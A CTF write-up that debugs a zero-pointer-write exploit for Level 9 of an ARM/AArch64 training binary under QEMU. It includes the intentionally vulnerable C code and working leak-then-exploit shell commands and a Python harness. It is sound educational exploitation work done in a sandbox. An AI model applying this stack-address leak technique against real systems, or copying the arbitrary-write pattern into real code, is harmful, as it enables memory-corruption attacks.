The Stale Address: Debugging an ARM64 Zero-Pointer Exploit Under QEMU
Running bkerler's exploit_me ARM/ARM64 challenge set end to end under qemu-user. 28 of 29 levels solved from the author's inputs on the first pass — but Level 9's published answer failed on both architectures. The reason is a good lesson: a hard-coded stack address goes stale under emulation, and argv itself moves it.
I wanted hands-on ARM64 exploitation, not just ARM64 reading. My exploit-dev ladder so far has been x86-64, and the Android reversing I’d been doing only had me reading AArch64, never driving it. So I picked up bkerler’s exploit_me — a 29-level CTF-style set covering one vulnerability class per level, built specifically for ARM and AArch64 — and ran the whole thing end to end.
This post isn’t the tour of all 29 levels (that’s a separate writeup). It’s about the one level that didn’t just work, because that’s where the actual learning was. The author ships working solution inputs; 28 of 29 passed on the first run on both architectures. Level 9 failed on both. Chasing down why taught me more than the 28 that passed.
exploit_meis MIT-licensed training material. Everything here ran offline, in an emulated sandbox. The point is the debugging, not the “exploit.”
The setup
The binaries are statically-linked ARM and AArch64 ELFs. I’m on an x86-64 box, so they run under qemu-user inside a throwaway container with no network. AArch64 runs under setarch -R to disable ASLR, so the addresses the leak-based levels depend on stay put between runs:
1
2
3
4
# 32-bit ARM
qemu-arm ./bin/exploit <level_password> <args...>
# 64-bit AArch64
setarch x86_64 -R qemu-aarch64 ./bin/exploit64 <level_password> <args...>
The author’s inputs are encoded in a test harness. I ran it and got:
1
2
3
4
5
6
7
8
9
10
...
PASS 32 8
FAIL 32 9
PASS 32 12
...
PASS 64 8
FAIL 64 9
PASS 64 12
...
SUMMARY 56 / 58 passed
56/58. Both failures were Level 9.
The bug: a zero-pointer write
Level 9 is the “zero pointer” level. The vulnerable code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int level9_entry(unsigned long addr, int option)
{
int important=1;
int *ptr = &important;
*ptr=2;
unsigned int *addrptr=(unsigned int*)addr; // addr comes straight from argv
if (option==1)
{
*addrptr=0; // write 0 to an attacker-chosen address
}
printf("Address: %08lX, Important ptr: %08lX, Important value: %d\n",
addr, &important, important);
if (important==0) // win condition
{
printf("Level 10 Password: \"%s\"\n", passwds[9]);
}
return 0;
}
The vulnerability is obvious once you see it: addr is user-controlled and gets used as a pointer that the program writes 0 into. The win condition is important == 0. So the whole challenge is: pass the address of important as addr, and the program zeroes its own important for you. The program even leaks the address for you (Important ptr: ...), because this is a teaching target.
Why the published answer failed
The harness fed Level 9 a hard-coded address — the value of &important the author had observed when they built the challenge. That’s the fragile part. Here’s the failure:
1
2
FAIL 32 9
Address: 407FF66C, Important ptr: 40800B3C, Important value: 2
Read that carefully. The harness passed addr = 0x407FF66C (that’s the Address: it echoes back), but the program’s actual &important this run is 0x40800B3C. So the write landed on the wrong place, important stayed 2, and the win condition never fired.
The address was simply stale. A stack address that was valid in the author’s environment years ago isn’t valid in mine — different libc, different loader, and critically, running under qemu-user, which lays out the guest stack at its own base. Hard-coding a stack address is exactly the thing you’re taught not to do; the proper move is leak, then use the leak. And the program hands me the leak on a plate. So: parse Important ptr from a first run, then pass it back.
The second, subtler gotcha: argv moves the target
My first fix was the obvious one — probe once to read the leaked address, then re-run with it:
1
2
3
4
# probe (option 0 = no write), read the leaked &important
leak=$(qemu-arm ./bin/exploit Gimme 0 0 | grep -oE 'Important ptr: [0-9A-Fa-f]+' | grep -oE '[0-9A-Fa-f]+$')
# exploit: pass the leaked address, option 1 = write 0
qemu-arm ./bin/exploit Gimme 0x$leak 1
On ARM64 this worked immediately — leaked 0x4000008009CC, passed it, important became 0, password printed. But ARM32 still failed, and the way it failed was the interesting part:
1
2
[arm32] probe leaked &important=0x40800B4C
Address: 40800B4C, Important ptr: 40800B3C, Important value: 2
The probe leaked 0x40800B4C. But when I passed that back, the real &important had moved to 0x40800B3C — exactly 0x10 lower. The target shifted because I changed the argument.
The reason is that argv lives on the stack, above the program’s stack frames. In my probe run, argv[2] was the string "0" — one byte. In the exploit run, argv[2] was "0x40800B4C" — ten bytes. A longer argument string pushes the stack down, and important, being a stack local, moves with it. The leak I’d so carefully captured described a stack layout that my exploit run then destroyed by having a different-length argument.
Once that clicked, the fix was easy: probe with a placeholder of the same length as the real address. Keep argv identical in size between the probe and the exploit, and &important stays put:
1
2
3
# probe with a 10-char placeholder address, same width as the real one
leak=$(qemu-arm ./bin/exploit Gimme 0x40800000 0 | grep -oE 'Important ptr: [0-9A-Fa-f]+' | grep -oE '[0-9A-Fa-f]+$')
qemu-arm ./bin/exploit Gimme 0x$leak 1
1
2
3
[arm32] probe leaked &important=0x40800B3C
Address: 40800B3C, Important ptr: 40800B3C, Important value: 0
Level 10 Password: "Fun"
ARM64 had gotten away with the length mismatch by luck — AArch64’s 16-byte stack alignment happened to absorb the difference. ARM32’s lighter alignment did not. That’s a good reminder that “it worked on 64-bit” is not proof your understanding is right.
The permanent fix
I folded this into the harness as a dynamic probe, mirroring how it already handles the type-confusion level. Width is chosen per architecture so the placeholder and the final address are the same length:
1
2
3
4
5
6
7
8
9
10
11
def dynamic_zero_pointer(arch):
runner = Q32 if arch == 32 else Q64
width = 8 if arch == 32 else 12
placeholder = b"0x" + b"0" * width # same length as the real address
out = subprocess.run(
runner + [b"Gimme", placeholder, b"0"], # option 0: leak only, no write
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=5,
).stdout
addr = int(re.search(rb"Important ptr: ([0-9a-fA-F]+)", out).group(1), 16)
final = b"0x" + format(addr, f"0{width}x").encode() # length == placeholder
return run("9", arch, [b"Gimme", final, b"1"], "Level 10 Password")
With that in place:
1
2
3
PASS 32 9
PASS 64 9
SUMMARY 58 / 58 passed
Takeaways
- Hard-coded stack addresses are a landmine, and emulation steps on it. The published answer wasn’t wrong when it was written — it rotted. Under qemu-user the stack base differs from a native run, so any absolute stack address is immediately stale. Leak-then-use isn’t just better style; it’s what makes an exploit survive a changed environment.
argvandenvare on the stack, and they move your targets. This is the one I’ll remember. The size of your input changes the address of the thing you’re attacking, because the argument strings sit above the frame. If your leak and your exploit don’t keep argv the same length, the leak describes a layout your exploit then invalidates. The same effect is whyenv -iand padding tricks matter in real stack-address work.- “It passed on 64-bit” can be luck. AArch64’s 16-byte alignment masked the bug that ARM32 exposed. Testing both architectures caught an error in my reasoning that either one alone would have hidden.
- The failing level taught the most. 28 levels replayed cleanly and taught me the bug classes. The one that failed taught me how emulation, calling-convention width, stack alignment, and argv placement actually interact — which is the part a vulnerability-research role cares about.
The full 29-level writeup, with per-level transcripts on both architectures, is in the repo’s docs/ folder. But Level 9 is the one worth reading twice.